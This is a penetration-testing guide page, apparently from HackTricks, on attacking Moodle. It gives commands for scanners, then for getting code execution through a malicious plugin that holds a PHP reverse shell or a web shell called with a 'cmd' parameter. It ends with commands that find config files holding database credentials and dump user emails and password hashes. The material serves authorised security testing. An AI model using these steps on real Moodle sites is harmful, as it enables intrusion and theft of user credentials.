HackTricks
Search…
Pentesting
Powered By GitBook
Moodle

Automatic Scans

droopescan

1
pip3 install droopescan
2
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
3
4
[+] Plugins found:
5
forum http://moodle.schooled.htb/moodle/mod/forum/
6
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
7
http://moodle.schooled.htb/moodle/mod/forum/version.php
8
9
[+] No themes found.
10
11
[+] Possible version(s):
12
3.10.0-beta
13
14
[+] Possible interesting urls found:
15
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
16
Admin panel - http://moodle.schooled.htb/moodle/login/
17
18
[+] Scan finished (0:00:05.643539 elapsed)
Copied!

moodlescan

1
#Install from https://github.com/inc0d3/moodlescan
2
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
3
4
Version 0.7 - Dic/2020
5
.............................................................................................................
6
7
By Victor Herrera - supported by www.incode.cl
8
9
.............................................................................................................
10
11
Getting server information http://moodle.schooled.htb/moodle/ ...
12
13
server : Apache/2.4.46 (FreeBSD) PHP/7.4.15
14
x-powered-by : PHP/7.4.15
15
x-frame-options : sameorigin
16
last-modified : Wed, 07 Apr 2021 21:33:41 GMT
17
18
Getting moodle version...
19
20
Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta
21
22
Searching vulnerabilities...
23
24
25
Vulnerabilities found: 0
26
27
Scan completed.
Copied!

CMSMap

1
pip3 install cmsmap
2
cmsmap http://moodle.example.com/<moodle_path>
Copied!

CVEs

I found that the automatic tools are pretty useless finding vulnerabilities affecting the moodle version. You can check for them in https://snyk.io/vuln/composer:moodle%2Fmoodle

RCE

You need to have manager role and you can install plugins inside the "Site administration" tab:
If you are manager you may still need to activate this option. You can see how ins the moodle privilege escalation PoC: https://github.com/HoangKien1020/CVE-2020-14321.
Then, you can install the following plugin that contains the classic pentest-monkey php rev shell (before uploading it you need to decompress it, change the IP and port of the revshell and crompress it again)
moodle-rce-plugin.zip
3KB
Binary
Or you could use the plugin from https://github.com/HoangKien1020/Moodle_RCE to get a regular PHP shell with the "cmd" parameter.
To access launch the malicious plugin you need to access to:
1
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
Copied!

POST

Find database credentials

1
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
Copied!

Dump Credentials from database

1
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
Copied!
Last modified 6mo ago